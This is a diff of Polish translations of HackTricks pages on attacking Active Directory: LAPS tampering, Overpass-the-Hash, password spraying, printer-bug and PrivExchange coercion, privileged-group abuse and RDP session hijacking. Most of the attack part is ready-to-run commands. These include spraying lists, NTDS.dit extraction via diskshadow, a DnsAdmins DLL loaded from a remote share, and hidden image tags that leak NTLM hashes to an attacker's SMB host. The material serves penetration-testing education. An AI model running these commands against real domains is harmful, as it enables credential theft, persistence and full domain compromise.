Po uzyskaniu uprawnień administratora, możliwe jest **uzyskanie haseł** i **zapobieżenie** aktualizacji **hasła** maszyny poprzez **ustawienie daty wygaśnięcia w przyszłość**.
```powershell
Po uzyskaniu uprawnień administratora, możliwe jest **uzyskanie haseł** i **zapobieganie** aktualizacji **hasła** maszyny poprzez **ustawienie daty wygaśnięcia w przyszłość**.
```bash
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
@ -113,7 +113,7 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
> [!WARNING]
> Hasło nadal zostanie zresetowane, jeśli **admin** użyje polecenia **`Reset-AdmPwdPassword`**; lub jeśli **Nie zezwalaj na czas wygaśnięcia hasła dłuższy niż wymagany przez politykę** jest włączone w GPO LAPS.
> Hasło nadal zostanie zresetowane, jeśli **admin** użyje polecenia **`Reset-AdmPwdPassword`**; lub jeśli w LAPS GPO jest włączona opcja **Nie pozwalaj na czas wygaśnięcia hasła dłuższy niż wymagany przez politykę**.
### Backdoor

View File

@ -5,9 +5,9 @@
## Overpass The Hash/Pass The Key (PTK)
Atak **Overpass The Hash/Pass The Key (PTK)** jest zaprojektowany dla środowisk, w których tradycyjny protokół NTLM jest ograniczony, a uwierzytelnianie Kerberos ma pierwszeństwo. Atak ten wykorzystuje hash NTLM lub klucze AES użytkownika do pozyskiwania biletów Kerberos, co umożliwia nieautoryzowany dostęp do zasobów w sieci.
Atak **Overpass The Hash/Pass The Key (PTK)** jest zaprojektowany dla środowisk, w których tradycyjny protokół NTLM jest ograniczony, a uwierzytelnianie Kerberos ma pierwszeństwo. Atak ten wykorzystuje hash NTLM lub klucze AES użytkownika do pozyskania biletów Kerberos, co umożliwia nieautoryzowany dostęp do zasobów w sieci.
Aby przeprowadzić ten atak, pierwszym krokiem jest pozyskanie hasha NTLM lub hasła konta docelowego użytkownika. Po zabezpieczeniu tych informacji można uzyskać Ticket Granting Ticket (TGT) dla konta, co pozwala atakującemu na dostęp do usług lub maszyn, do których użytkownik ma uprawnienia.
Aby przeprowadzić ten atak, pierwszym krokiem jest pozyskanie hasha NTLM lub hasła konta docelowego użytkownika. Po zabezpieczeniu tych informacji można uzyskać bilet przyznawania biletów (TGT) dla konta, co pozwala atakującemu uzyskać dostęp do usług lub maszyn, do których użytkownik ma uprawnienia.
Proces można rozpocząć za pomocą następujących poleceń:
```bash
@ -15,24 +15,31 @@ python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
```
W przypadku scenariuszy wymagających AES256, opcja `-aesKey [AES key]` może być wykorzystana. Ponadto, uzyskany bilet może być użyty z różnymi narzędziami, w tym smbexec.py lub wmiexec.py, poszerzając zakres ataku.
W przypadku scenariuszy wymagających AES256, opcja `-aesKey [AES key]` może być wykorzystana. Ponadto, uzyskany bilet może być używany z różnymi narzędziami, w tym smbexec.py lub wmiexec.py, co poszerza zakres ataku.
Napotykanie problemów takich jak _PyAsn1Error_ lub _KDC cannot find the name_ zazwyczaj rozwiązuje się poprzez aktualizację biblioteki Impacket lub użycie nazwy hosta zamiast adresu IP, zapewniając zgodność z Kerberos KDC.
Napotykanie problemów takich jak _PyAsn1Error_ lub _KDC cannot find the name_ jest zazwyczaj rozwiązywane przez aktualizację biblioteki Impacket lub użycie nazwy hosta zamiast adresu IP, co zapewnia zgodność z Kerberos KDC.
Alternatywna sekwencja poleceń z użyciem Rubeus.exe demonstruje inny aspekt tej techniki:
```bash
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```
Ta metoda odzwierciedla podejście **Pass the Key**, koncentrując się na przejęciu i wykorzystaniu biletu bezpośrednio do celów uwierzytelniania. Ważne jest, aby zauważyć, że inicjacja żądania TGT wyzwala zdarzenie `4768: A Kerberos authentication ticket (TGT) was requested`, co oznacza domyślne użycie RC4-HMAC, chociaż nowoczesne systemy Windows preferują AES256.
Ta metoda odzwierciedla podejście **Pass the Key**, koncentrując się na przejęciu i wykorzystaniu biletu bezpośrednio do celów uwierzytelniania. Ważne jest, aby zauważyć, że inicjacja żądania TGT wyzwala zdarzenie `4768: A Kerberos authentication ticket (TGT) was requested`, co oznacza użycie RC4-HMAC domyślnie, chociaż nowoczesne systemy Windows preferują AES256.
Aby dostosować się do bezpieczeństwa operacyjnego i używać AES256, można zastosować następujące polecenie:
```bash
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
```
## Odniesienia
## Stealthier version
> [!WARNING]
> Każda sesja logowania może mieć tylko jeden aktywny TGT w danym czasie, więc bądź ostrożny.
1. Utwórz nową sesję logowania za pomocą **`make_token`** z Cobalt Strike.
2. Następnie użyj Rubeus, aby wygenerować TGT dla nowej sesji logowania, nie wpływając na istniejącą.
## References
- [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,7 +5,7 @@
## **Password Spraying**
Gdy znajdziesz kilka **ważnych nazw użytkowników**, możesz spróbować najczęstszych **haseł** (pamiętaj o polityce haseł w danym środowisku) dla każdego z odkrytych użytkowników.\
Gdy znajdziesz kilka **ważnych nazw użytkowników**, możesz spróbować najczęściej występujących **haseł** (pamiętaj o polityce haseł w danym środowisku) dla każdego z odkrytych użytkowników.\
Zgodnie z **domyślnymi ustawieniami** **minimalna** **długość** **hasła** wynosi **7**.
Listy popularnych nazw użytkowników mogą być również przydatne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
@ -47,11 +47,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
- [**spray**](https://github.com/Greenwolf/Spray) _**(możesz wskazać liczbę prób, aby uniknąć zablokowania konta):**_
- [**spray**](https://github.com/Greenwolf/Spray) _**(możesz wskazać liczbę prób, aby uniknąć zablokowania):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- Używając [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIEZALECANE, CZASAMI NIE DZIAŁA
- Używanie [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIEZALECANE, CZASAMI NIE DZIAŁA
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@ -78,7 +78,7 @@ done
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- Z [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Może domyślnie generować użytkowników z domeny i pobiera politykę haseł z domeny oraz ograniczać próby zgodnie z nią):
```powershell
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
- Z [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)

View File

@ -28,7 +28,7 @@ Możesz również użyć rpcdump.py na Linuxie i szukać protokołu MS-RPRN.
```bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
```
### Poproś usługę o uwierzytelnienie się w stosunku do dowolnego hosta
### Poproś usługę o uwierzytelnienie przeciwko dowolnemu hoście
Możesz skompilować[ **SpoolSample stąd**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
```bash
@ -41,7 +41,7 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
### Łączenie z Nieograniczoną Delegacją
Jeśli atakujący już skompromitował komputer z [Nieograniczoną Delegacją](unconstrained-delegation.md), atakujący może **sprawić, że drukarka uwierzytelni się w tym komputerze**. Z powodu nieograniczonej delegacji, **TGT** **konta komputera drukarki** będzie **zapisane w** **pamięci** komputera z nieograniczoną delegacją. Ponieważ atakujący już skompromitował ten host, będzie w stanie **odzyskać ten bilet** i go nadużyć ([Pass the Ticket](pass-the-ticket.md)).
Jeśli atakujący już skompromitował komputer z [Nieograniczoną Delegacją](unconstrained-delegation.md), atakujący może **sprawić, że drukarka uwierzytelni się w tym komputerze**. Z powodu nieograniczonej delegacji, **TGT** **konta komputera drukarki** będzie **zapisane w** **pamięci** komputera z nieograniczoną delegacją. Ponieważ atakujący już skompromitował ten host, będzie w stanie **odzyskać ten bilet** i go wykorzystać ([Pass the Ticket](pass-the-ticket.md)).
## Wymuszenie uwierzytelnienia RCP
@ -51,9 +51,9 @@ https://github.com/p0dalirius/Coercer
## PrivExchange
Atak `PrivExchange` jest wynikiem luki znalezionej w **funkcji `PushSubscription` serwera Exchange**. Ta funkcja pozwala serwerowi Exchange na wymuszenie przez dowolnego użytkownika domeny z skrzynką pocztową uwierzytelnienia do dowolnego hosta dostarczonego przez klienta za pośrednictwem HTTP.
Atak `PrivExchange` jest wynikiem luki znalezionej w **funkcji `PushSubscription` serwera Exchange**. Funkcja ta pozwala serwerowi Exchange na wymuszenie przez dowolnego użytkownika domeny z skrzynką pocztową uwierzytelnienia do dowolnego hosta dostarczonego przez klienta za pośrednictwem HTTP.
Domyślnie **usługa Exchange działa jako SYSTEM** i ma nadmierne uprawnienia (konkretnie, ma **uprawnienia WriteDacl na domenie przed 2019 rokiem Cumulative Update**). Ta luka może być wykorzystana do umożliwienia **przekazywania informacji do LDAP i następnie wydobycia bazy danych NTDS domeny**. W przypadkach, gdy przekazywanie do LDAP nie jest możliwe, ta luka może być nadal używana do przekazywania i uwierzytelniania do innych hostów w obrębie domeny. Udane wykorzystanie tego ataku zapewnia natychmiastowy dostęp do administratora domeny z dowolnym uwierzytelnionym kontem użytkownika domeny.
Domyślnie **usługa Exchange działa jako SYSTEM** i ma nadmierne uprawnienia (konkretnie, ma **uprawnienia WriteDacl na domenie przed aktualizacją zbiorczą z 2019 roku**). Ta luka może być wykorzystana do umożliwienia **przekazywania informacji do LDAP i następnie wydobycia bazy danych NTDS domeny**. W przypadkach, gdy przekazywanie do LDAP nie jest możliwe, ta luka może być nadal używana do przekazywania i uwierzytelniania do innych hostów w obrębie domeny. Udane wykorzystanie tego ataku zapewnia natychmiastowy dostęp do administratora domeny z dowolnym uwierzytelnionym kontem użytkownika domeny.
## Wewnątrz Windows
@ -86,9 +86,9 @@ Możliwe jest użycie certutil.exe lolbin (podpisany przez Microsoft) do wymusze
```bash
certutil.exe -syncwithWU \\127.0.0.1\share
```
## HTML injection
## Wstrzykiwanie HTML
### Via email
### Przez e-mail
Jeśli znasz **adres e-mail** użytkownika, który loguje się na maszynie, którą chcesz skompromitować, możesz po prostu wysłać mu **e-mail z obrazem 1x1** takim jak
```html
@ -98,13 +98,19 @@ i gdy to otworzy, spróbuje się uwierzytelnić.
### MitM
Jeśli możesz przeprowadzić atak MitM na komputer i wstrzyknąć HTML na stronie, którą będzie przeglądał, możesz spróbować wstrzyknąć obrazek taki jak poniżej na stronie:
Jeśli możesz przeprowadzić atak MitM na komputer i wstrzyknąć HTML na stronie, którą będzie przeglądał, możesz spróbować wstrzyknąć obrazek taki jak poniższy na stronie:
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
## Inne sposoby na wymuszenie i phishing autoryzacji NTLM
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## Łamanie NTLMv1
Jeśli możesz przechwycić [wyzwania NTLMv1 przeczytaj tutaj jak je złamać](../ntlm/index.html#ntlmv1-attack).\
_Pamiętaj, że aby złamać NTLMv1 musisz ustawić wyzwanie Respondera na "1122334455667788"_
Jeśli możesz przechwycić [wyzwania NTLMv1, przeczytaj tutaj, jak je złamać](../ntlm/index.html#ntlmv1-attack).\
_Pamiętaj, że aby złamać NTLMv1, musisz ustawić wyzwanie Respondera na "1122334455667788"_
{{#include ../../banners/hacktricks-training.md}}

View File

@ -10,10 +10,10 @@
## Operatorzy kont
Grupa ta ma uprawnienia do tworzenia kont i grup, które nie są administratorami w domenie. Dodatkowo umożliwia lokalne logowanie do kontrolera domeny (DC).
Grupa ta ma uprawnienia do tworzenia kont i grup, które nie są administratorami w domenie. Dodatkowo umożliwia lokalne logowanie do Kontrolera Domeny (DC).
Aby zidentyfikować członków tej grupy, wykonuje się następujące polecenie:
```powershell
```bash
Get-NetGroupMember -Identity "Account Operators" -Recurse
```
Dodawanie nowych użytkowników jest dozwolone, a także lokalne logowanie do DC01.
@ -25,26 +25,26 @@ Lista Kontroli Dostępu (ACL) grupy **AdminSDHolder** jest kluczowa, ponieważ u
Atakujący mógłby to wykorzystać, modyfikując ACL grupy **AdminSDHolder**, przyznając pełne uprawnienia standardowemu użytkownikowi. To skutecznie dałoby temu użytkownikowi pełną kontrolę nad wszystkimi chronionymi grupami. Jeśli uprawnienia tego użytkownika zostaną zmienione lub usunięte, zostaną automatycznie przywrócone w ciągu godziny z powodu konstrukcji systemu.
Polecenia do przeglądania członków i modyfikowania uprawnień obejmują:
```powershell
```bash
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
```
Dostępny jest skrypt, który przyspiesza proces przywracania: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
Aby uzyskać więcej informacji, odwiedź [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
Aby uzyskać więcej szczegółów, odwiedź [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
## AD Recycle Bin
## Kosz na AD
Członkostwo w tej grupie umożliwia odczyt usuniętych obiektów Active Directory, co może ujawnić wrażliwe informacje:
```bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### Dostęp do kontrolera domeny
### Dostęp do Kontrolera Domeny
Dostęp do plików na DC jest ograniczony, chyba że użytkownik jest częścią grupy `Server Operators`, co zmienia poziom dostępu.
### Eskalacja uprawnień
### Eskalacja Uprawnień
Używając `PsService` lub `sc` z Sysinternals, można sprawdzić i zmodyfikować uprawnienia usług. Grupa `Server Operators`, na przykład, ma pełną kontrolę nad niektórymi usługami, co pozwala na wykonywanie dowolnych poleceń i eskalację uprawnień:
```cmd
@ -57,7 +57,7 @@ To polecenie ujawnia, że `Server Operators` mają pełny dostęp, co umożliwia
Członkostwo w grupie `Backup Operators` zapewnia dostęp do systemu plików `DC01` dzięki uprawnieniom `SeBackup` i `SeRestore`. Te uprawnienia umożliwiają przechodzenie przez foldery, wyświetlanie listy oraz kopiowanie plików, nawet bez wyraźnych uprawnień, przy użyciu flagi `FILE_FLAG_BACKUP_SEMANTICS`. Wykorzystanie konkretnych skryptów jest konieczne w tym procesie.
Aby wyświetlić członków grupy, wykonaj:
```powershell
```bash
Get-NetGroupMember -Identity "Backup Operators" -Recurse
```
### Atak lokalny
@ -74,18 +74,18 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Get-SeBackupPrivilege
```
3. Uzyskaj dostęp i skopiuj pliki z ograniczonych katalogów, na przykład:
3. Uzyskaj dostęp i skopiuj pliki z zastrzeżonych katalogów, na przykład:
```bash
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
```
### Atak AD
### AD Attack
Bezpośredni dostęp do systemu plików kontrolera domeny umożliwia kradzież bazy danych `NTDS.dit`, która zawiera wszystkie hashe NTLM dla użytkowników i komputerów w domenie.
#### Używanie diskshadow.exe
#### Using diskshadow.exe
1. Utwórz kopię zapasową dysku `C`:
1. Create a shadow copy of the `C` drive:
```cmd
diskshadow.exe
set verbose on
@ -130,16 +130,16 @@ Aby zobaczyć praktyczną demonstrację, zobacz [DEMO VIDEO WITH IPPSEC](https:/
## DnsAdmins
Członkowie grupy **DnsAdmins** mogą wykorzystać swoje uprawnienia do załadowania dowolnego DLL z uprawnieniami SYSTEM na serwerze DNS, często hostowanym na kontrolerach domeny. Ta zdolność pozwala na znaczny potencjał do wykorzystania.
Członkowie grupy **DnsAdmins** mogą wykorzystać swoje uprawnienia do załadowania dowolnego DLL z uprawnieniami SYSTEM na serwerze DNS, często hostowanym na kontrolerach domeny. Ta zdolność pozwala na znaczny potencjał do eksploatacji.
Aby wyświetlić członków grupy DnsAdmins, użyj:
```powershell
```bash
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
```
### Wykonaj dowolny DLL
Członkowie mogą sprawić, że serwer DNS załaduje dowolny DLL (lokalnie lub z zdalnego udostępnienia) za pomocą poleceń takich jak:
```powershell
```bash
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
@ -163,33 +163,33 @@ Restartowanie usługi DNS (co może wymagać dodatkowych uprawnień) jest koniec
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
```
Dla uzyskania dalszych szczegółów na temat tego wektora ataku, zapoznaj się z ired.team.
Dla uzyskania dalszych informacji na temat tego wektora ataku, odwołaj się do ired.team.
#### Mimilib.dll
Możliwe jest również użycie mimilib.dll do wykonania poleceń, modyfikując go w celu wykonania konkretnych poleceń lub odwrotnych powłok. [Sprawdź ten post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) po więcej informacji.
Możliwe jest również użycie mimilib.dll do wykonania poleceń, modyfikując go w celu wykonania konkretnych poleceń lub odwrotnych powłok. [Sprawdź ten post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) w celu uzyskania dalszych informacji.
### Rekord WPAD dla MitM
DnsAdmins mogą manipulować rekordami DNS, aby przeprowadzać ataki Man-in-the-Middle (MitM), tworząc rekord WPAD po wyłączeniu globalnej listy blokad zapytań. Narzędzia takie jak Responder lub Inveigh mogą być używane do spoofingu i przechwytywania ruchu sieciowego.
DnsAdmins mogą manipulować rekordami DNS, aby przeprowadzać ataki Man-in-the-Middle (MitM), tworząc rekord WPAD po wyłączeniu globalnej listy blokad zapytań. Narzędzia takie jak Responder lub Inveigh mogą być używane do fałszowania i przechwytywania ruchu sieciowego.
### Czytelnicy dzienników zdarzeń
Członkowie mogą uzyskiwać dostęp do dzienników zdarzeń, potencjalnie znajdując wrażliwe informacje, takie jak hasła w postaci czystego tekstu lub szczegóły wykonania poleceń:
```powershell
Członkowie mogą uzyskiwać dostęp do dzienników zdarzeń, potencjalnie znajdując wrażliwe informacje, takie jak hasła w postaci tekstu jawnego lub szczegóły wykonania poleceń:
```bash
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
```
## Uprawnienia Windows Exchange
## Exchange Windows Permissions
Ta grupa może modyfikować DACL na obiekcie domeny, potencjalnie przyznając uprawnienia DCSync. Techniki eskalacji uprawnień wykorzystujące tę grupę są szczegółowo opisane w repozytorium Exchange-AD-Privesc na GitHubie.
```powershell
```bash
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
```
## Hyper-V Administrators
Administratorzy Hyper-V mają pełny dostęp do Hyper-V, co może być wykorzystane do przejęcia kontroli nad wirtualizowanymi kontrolerami domeny. Obejmuje to klonowanie aktywnych kontrolerów domeny i wydobywanie hashy NTLM z pliku NTDS.dit.
Administratorzy Hyper-V mają pełny dostęp do Hyper-V, co może być wykorzystane do przejęcia kontroli nad wirtualizowanymi kontrolerami domeny. Obejmuje to klonowanie aktywnych kontrolerów domeny i wydobywanie haszy NTLM z pliku NTDS.dit.
### Przykład wykorzystania
@ -199,28 +199,28 @@ Usługa konserwacyjna Mozilla Firefox może być wykorzystywana przez administra
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
```
Uwaga: Wykorzystanie twardych linków zostało złagodzone w ostatnich aktualizacjach systemu Windows.
Note: Wykorzystanie twardych linków zostało złagodzone w ostatnich aktualizacjach systemu Windows.
## Zarządzanie Organizacją
W środowiskach, w których zainstalowano **Microsoft Exchange**, specjalna grupa znana jako **Zarządzanie Organizacją** ma znaczące uprawnienia. Grupa ta ma przywilej **dostępu do skrzynek pocztowych wszystkich użytkowników domeny** i utrzymuje **pełną kontrolę nad jednostką organizacyjną 'Microsoft Exchange Security Groups'** (OU). Kontrola ta obejmuje grupę **`Exchange Windows Permissions`**, która może być wykorzystana do eskalacji uprawnień.
W środowiskach, w których zainstalowany jest **Microsoft Exchange**, specjalna grupa znana jako **Organization Management** ma znaczące uprawnienia. Grupa ta ma prawo do **dostępu do skrzynek pocztowych wszystkich użytkowników domeny** i utrzymuje **pełną kontrolę nad jednostką organizacyjną 'Microsoft Exchange Security Groups'** (OU). Kontrola ta obejmuje grupę **`Exchange Windows Permissions`**, która może być wykorzystana do eskalacji uprawnień.
### Wykorzystanie Uprawnień i Polecenia
### Wykorzystanie Uprawnień i Komendy
#### Operatorzy Drukowania
#### Operatorzy Drukarek
Członkowie grupy **Operatorzy Drukowania** mają przyznane kilka uprawnień, w tym **`SeLoadDriverPrivilege`**, które pozwala im **logować się lokalnie do kontrolera domeny**, wyłączać go i zarządzać drukarkami. Aby wykorzystać te uprawnienia, szczególnie jeśli **`SeLoadDriverPrivilege`** nie jest widoczne w kontekście bez podwyższonych uprawnień, konieczne jest ominięcie Kontroli Konta Użytkownika (UAC).
Członkowie grupy **Print Operators** mają przyznane kilka uprawnień, w tym **`SeLoadDriverPrivilege`**, które pozwala im na **lokalne logowanie się do kontrolera domeny**, jego wyłączanie oraz zarządzanie drukarkami. Aby wykorzystać te uprawnienia, szczególnie jeśli **`SeLoadDriverPrivilege`** nie jest widoczne w kontekście bez podwyższonych uprawnień, konieczne jest ominięcie Kontroli Konta Użytkownika (UAC).
Aby wylistować członków tej grupy, używa się następującego polecenia PowerShell:
```powershell
Aby wylistować członków tej grupy, używa się następującej komendy PowerShell:
```bash
Get-NetGroupMember -Identity "Print Operators" -Recurse
```
Dla bardziej szczegółowych technik eksploatacji związanych z **`SeLoadDriverPrivilege`**, należy skonsultować się z konkretnymi zasobami bezpieczeństwa.
Aby uzyskać bardziej szczegółowe techniki eksploatacji związane z **`SeLoadDriverPrivilege`**, należy skonsultować się z konkretnymi zasobami bezpieczeństwa.
#### Użytkownicy pulpitu zdalnego
Członkowie tej grupy mają dostęp do komputerów za pośrednictwem protokołu pulpitu zdalnego (RDP). Aby wyliczyć tych członków, dostępne są polecenia PowerShell:
```powershell
Członkowie tej grupy mają dostęp do komputerów za pośrednictwem protokołu pulpitu zdalnego (RDP). Aby wylistować tych członków, dostępne są polecenia PowerShell:
```bash
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
```
@ -229,7 +229,7 @@ Dalsze informacje na temat wykorzystywania RDP można znaleźć w dedykowanych z
#### Użytkownicy zdalnego zarządzania
Członkowie mogą uzyskiwać dostęp do komputerów za pomocą **Windows Remote Management (WinRM)**. Wykrywanie tych członków osiąga się poprzez:
```powershell
```bash
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
```
@ -238,10 +238,10 @@ Aby uzyskać informacje na temat technik eksploatacji związanych z **WinRM**, n
#### Operatorzy serwera
Ta grupa ma uprawnienia do wykonywania różnych konfiguracji na kontrolerach domeny, w tym uprawnienia do tworzenia kopii zapasowych i przywracania, zmiany czasu systemowego oraz wyłączania systemu. Aby wylistować członków, użyj podanego polecenia:
```powershell
```bash
Get-NetGroupMember -Identity "Server Operators" -Recurse
```
## Odniesienia <a href="#references" id="references"></a>
## References <a href="#references" id="references"></a>
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)

View File

@ -6,8 +6,8 @@
Jeśli **grupa zewnętrzna** ma **dostęp RDP** do jakiegokolwiek **komputera** w bieżącej domenie, **atakujący** może **skompromentować ten komputer i czekać na niego**.
Gdy ten użytkownik uzyska dostęp przez RDP, **atakujący może przejąć sesję tego użytkownika** i wykorzystać jego uprawnienia w zewnętrznej domenie.
```powershell
Gdy ten użytkownik uzyska dostęp przez RDP, **atakujący może przejąć sesję tego użytkownika** i nadużyć jego uprawnień w zewnętrznej domenie.
```bash
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
@ -34,10 +34,10 @@ Sprawdź **inne sposoby kradzieży sesji za pomocą innych narzędzi** [**na tej
## RDPInception
Jeśli użytkownik uzyskuje dostęp przez **RDP do maszyny**, gdzie **atakujący** **czeka** na niego, atakujący będzie mógł **wstrzyknąć beacon w sesję RDP użytkownika**, a jeśli **ofiara zamontowała swój dysk** podczas uzyskiwania dostępu przez RDP, **atakujący mógłby uzyskać do niego dostęp**.
Jeśli użytkownik uzyskuje dostęp przez **RDP do maszyny**, gdzie **atakujący** czeka na niego, atakujący będzie mógł **wstrzyknąć beacon w sesję RDP użytkownika**, a jeśli **ofiara zamontowała swój dysk** podczas uzyskiwania dostępu przez RDP, **atakujący mógłby uzyskać do niego dostęp**.
W tym przypadku możesz po prostu **skompromentować** **oryginalny komputer ofiary**, pisząc **tylną furtkę** w **folderze uruchamiania**.
```powershell
```bash
# Wait til someone logs in:
net logons
Logged on users at \\localhost:

View File

@ -5,18 +5,18 @@
## Podstawy Delegacji Ograniczonej na Bazie Zasobów
To jest podobne do podstawowej [Delegacji Ograniczonej](constrained-delegation.md), ale **zamiast** nadawania uprawnień do **obiektu**, aby **podszywać się pod dowolnego użytkownika w stosunku do usługi**. Delegacja Ograniczona na Bazie Zasobów **ustawia** w **obiecie, kto może podszywać się pod dowolnego użytkownika w stosunku do niego**.
To jest podobne do podstawowej [Delegacji Ograniczonej](constrained-delegation.md), ale **zamiast** nadawania uprawnień do **obiektu**, aby **podszywać się pod dowolnego użytkownika na maszynie**, Delegacja Ograniczona na Bazie Zasobów **ustawia** w **obiecie, kto może podszywać się pod dowolnego użytkownika wobec niego**.
W tym przypadku, ograniczony obiekt będzie miał atrybut o nazwie _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ z nazwą użytkownika, który może podszywać się pod dowolnego innego użytkownika w stosunku do niego.
W tym przypadku, ograniczony obiekt będzie miał atrybut _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ z nazwą użytkownika, który może podszywać się pod dowolnego innego użytkownika wobec niego.
Inną ważną różnicą między tą Delegacją Ograniczoną a innymi delegacjami jest to, że każdy użytkownik z **uprawnieniami do zapisu nad kontem maszyny** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) może ustawić _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (W innych formach Delegacji potrzebne były uprawnienia administratora domeny).
Inną ważną różnicą między tą Delegacją Ograniczoną a innymi delegacjami jest to, że każdy użytkownik z **uprawnieniami do zapisu nad kontem maszyny** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) może ustawić **_msDS-AllowedToActOnBehalfOfOtherIdentity_** (W innych formach Delegacji potrzebne były uprawnienia administratora domeny).
### Nowe Koncepcje
W Delegacji Ograniczonej powiedziano, że flaga **`TrustedToAuthForDelegation`** w wartości _userAccountControl_ użytkownika jest potrzebna do wykonania **S4U2Self.** Ale to nie jest całkowita prawda.\
Rzeczywistość jest taka, że nawet bez tej wartości, możesz wykonać **S4U2Self** w stosunku do dowolnego użytkownika, jeśli jesteś **usługą** (masz SPN), ale jeśli **masz `TrustedToAuthForDelegation`**, zwrócone TGS będzie **Forwardable**, a jeśli **nie masz** tej flagi, zwrócone TGS **nie będzie** **Forwardable**.
Rzeczywistość jest taka, że nawet bez tej wartości, możesz wykonać **S4U2Self** wobec dowolnego użytkownika, jeśli jesteś **usługą** (masz SPN), ale jeśli **masz `TrustedToAuthForDelegation`**, zwrócony TGS będzie **Forwardable**, a jeśli **nie masz** tej flagi, zwrócony TGS **nie będzie** **Forwardable**.
